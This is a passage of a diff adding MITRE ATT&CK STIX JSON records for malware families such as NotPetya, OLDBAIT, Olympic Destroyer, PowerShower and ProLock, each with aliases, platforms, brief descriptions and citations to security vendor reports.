Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0368", + "external_id": "S0368", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET Telebots June 2017)", + "source_name": "ExPetr" + }, + { + "description": "(Citation: ESET Telebots June 2017)", + "source_name": "Diskcoder.C" + }, + { + "description": "(Citation: Talos Nyetya June 2017)", + "source_name": "GoldenEye" + }, + { + "description": "(Citation: Talos Nyetya June 2017)(Citation: ESET Telebots June 2017)", + "source_name": "Petrwrap" + }, + { + "description": "(Citation: Talos Nyetya June 2017)", + "source_name": "Nyetya" + }, + { + "source_name": "Talos Nyetya June 2017", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "source_name": "US-CERT NotPetya 2017" + }, + { + "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", + "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020.", + "source_name": "ESET Telebots June 2017" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", + "source_name": "US District Court Indictment GRU Unit 74455 October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "OLDBAIT", + "x_mitre_aliases": [ + "OLDBAIT", + "Sasfis" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-19T23:51:58.976Z", + "created": "2017-05-31T21:33:18.946Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0138", + "external_id": "S0138", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. 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(Citation: Symantec Buckeye)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0165", + "external_id": "S0165", + "source_name": "mitre-attack" + }, + { + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "OSX/Shlayer", + "x_mitre_aliases": [ + "OSX/Shlayer", + "Zshlayer", + "Crossrider" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-16T20:44:20.719Z", + "created": "2019-08-29T18:52:20.879Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0402", + "url": "https://attack.mitre.org/software/S0402" + }, + { + "description": "(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)", + "source_name": "OSX/Shlayer" + }, + { + "description": "(Citation: sentinelone shlayer to zshlayer)", + "source_name": "Zshlayer" + }, + { + "description": "(Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018)", + "source_name": "Crossrider" + }, + { + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "source_name": "Carbon Black Shlayer Feb 2019" + }, + { + "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/", + "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.", + "source_name": "Intego Shlayer Feb 2018" + }, + { + "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/", + "description": "Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.", + "source_name": "sentinelone shlayer to zshlayer" + }, + { + "source_name": "Intego Shlayer Apr 2018", + "description": "Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. 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Retrieved September 6, 2019.", + "source_name": "Malwarebytes Crossrider Apr 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "OSX_OCEANLOTUS.D", + "x_mitre_aliases": [ + "OSX_OCEANLOTUS.D", + "Backdoor.MacOS.OCEANLOTUS.F" + ], + "x_mitre_version": "2.1", + "modified": "2021-10-15T01:59:21.279Z", + "created": "2019-01-30T19:18:19.667Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor with several variants that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0352", + "external_id": "S0352", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: TrendMicro MacOS April 2018)", + "source_name": "OSX_OCEANLOTUS.D" + }, + { + "description": "(Citation: Trend Micro MacOS Backdoor November 2020)", + "source_name": "Backdoor.MacOS.OCEANLOTUS.F" + }, + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + }, + { + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.", + "source_name": "Trend Micro MacOS Backdoor November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ObliqueRAT", + "x_mitre_aliases": [ + "ObliqueRAT" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-15T14:43:12.250Z", + "created": "2021-09-08T19:53:27.937Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", + "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0644", + "external_id": "S0644", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", + "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021.", + "source_name": "Talos Oblique RAT March 2021" + }, + { + "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", + "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021.", + "source_name": "Talos Transparent Tribe May 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "OceanSalt", + "x_mitre_aliases": [ + "OceanSalt" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T17:12:48.823Z", + "created": "2019-01-30T15:43:19.105Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0346", + "external_id": "S0346", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: McAfee Oceansalt Oct 2018)", + "source_name": "OceanSalt" + }, + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ] + }, + { + "type": "malware", + "modified": "2021-10-15T02:42:45.953Z", + "name": "Octopus", + "x_mitre_aliases": [ + "Octopus" + ], + "x_mitre_version": "2.0", + "created": "2019-01-30T13:24:08.616Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "description": "[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0340", + "external_id": "S0340", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)", + "source_name": "Octopus" + }, + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + }, + { + "url": "https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html", + "description": "Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.", + "source_name": "Security Affairs DustSquad Oct 2018" + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", + "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.", + "source_name": "ESET Nomadic Octopus 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Okrum", + "x_mitre_aliases": [ + "Okrum" + ], + "x_mitre_version": "1.0", + "modified": "2020-05-14T21:17:53.756Z", + "created": "2020-05-06T21:12:31.535Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", + "description": "[Okrum](https://attack.mitre.org/software/S0439) is a Windows backdoor that has been seen in use since December 2016 with strong links to [Ke3chang](https://attack.mitre.org/groups/G0004).(Citation: ESET Okrum July 2019)", + "x_mitre_contributors": [ + "ESET" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0439", + "external_id": "S0439", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", + "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.", + "source_name": "ESET Okrum July 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Olympic Destroyer", + "x_mitre_aliases": [ + "Olympic Destroyer" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-23T19:32:38.936Z", + "created": "2019-03-25T14:07:22.547Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0365", + "external_id": "S0365", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018" + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", + "source_name": "US District Court Indictment GRU Unit 74455 October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "OnionDuke", + "x_mitre_aliases": [ + "OnionDuke" + ], + "x_mitre_version": "1.2", + "modified": "2020-09-23T15:21:12.900Z", + "created": "2017-05-31T21:32:37.341Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0052", + "external_id": "S0052", + "source_name": "mitre-attack" + }, + { + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "OopsIE", + "x_mitre_aliases": [ + "OopsIE" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-30T02:36:44.945Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0264", + "external_id": "S0264", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 OopsIE! Feb 2018) (Citation: Unit 42 OilRig Sept 2018)", + "source_name": "OopsIE" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Orz", + "x_mitre_aliases": [ + "Orz", + "AIRBREAK" + ], + "x_mitre_version": "2.1", + "modified": "2021-02-09T15:04:49.088Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "description": "[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0229", + "external_id": "S0229", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Proofpoint Leviathan Oct 2017)", + "source_name": "Orz" + }, + { + "description": "(Citation: FireEye Periscope March 2018)", + "source_name": "AIRBREAK" + }, + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. 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Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "POWERTON", + "x_mitre_aliases": [ + "POWERTON" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-25T16:21:36.260Z", + "created": "2019-04-16T17:43:42.724Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). 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Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + }, + { + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "PoetRAT", + "x_mitre_aliases": [ + "PoetRAT" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-24T21:20:30.634Z", + "created": "2020-04-27T20:21:16.487Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. 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Retrieved April 27, 2020.", + "source_name": "Talos PoetRAT April 2020" + }, + { + "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.", + "source_name": "Talos PoetRAT October 2020" + }, + { + "url": "https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770", + "description": "Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. 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[PolyglotDuke](https://attack.mitre.org/software/S0518) has been used to drop [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0518", + "external_id": "S0518", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", + "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. 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Retrieved May 21, 2020.", + "source_name": "Malwarebytes Pony April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Power Loader", + "x_mitre_aliases": [ + "Power Loader", + "Win32/Agent.UAW" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3", + "description": "[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. 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Retrieved December 16, 2017.", + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "PowerDuke", + "x_mitre_aliases": [ + "PowerDuke" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-30T17:22:08.256Z", + "created": "2017-05-31T21:33:19.746Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. 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Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "PowerShower", + "x_mitre_aliases": [ + "PowerShower" + ], + "x_mitre_version": "1.0", + "modified": "2020-05-20T20:43:49.960Z", + "created": "2020-05-08T19:27:12.414Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--53486bc7-7748-4716-8190-e4f1fde04c53", + "description": "[PowerShower](https://attack.mitre.org/software/S0441) is a PowerShell backdoor used by [Inception](https://attack.mitre.org/groups/G0100) for initial reconnaissance and to download and execute second stage payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0441", + "external_id": "S0441", + "source_name": "mitre-attack" + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", + "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020.", + "source_name": "Unit 42 Inception November 2018" + }, + { + "url": "https://securelist.com/recent-cloud-atlas-activity/92016/", + "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020.", + "source_name": "Kaspersky Cloud Atlas August 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "PowerStallion", + "x_mitre_aliases": [ + "PowerStallion" + ], + "x_mitre_version": "1.1", + "modified": "2021-02-09T14:05:19.246Z", + "created": "2019-06-21T17:23:27.855Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0393", + "external_id": "S0393", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "source_name": "ESET Turla PowerShell May 2019" + } + ] + }, + { + "type": "malware", + "modified": "2020-03-30T02:39:23.582Z", + "name": "Prikormka", + "x_mitre_aliases": [ + "Prikormka" + ], + "x_mitre_version": "1.2", + "created": "2017-05-31T21:33:07.943Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. 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Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ProLock", + "x_mitre_aliases": [ + "ProLock" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-15T21:35:09.832Z", + "created": "2021-09-30T19:47:47.136Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e", + "description": "[ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0654", + "external_id": "S0654", + "source_name": "mitre-attack" + }, + { + "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", + "description": "Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.", + "source_name": "Group IB Ransomware September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Proton", + "x_mitre_aliases": 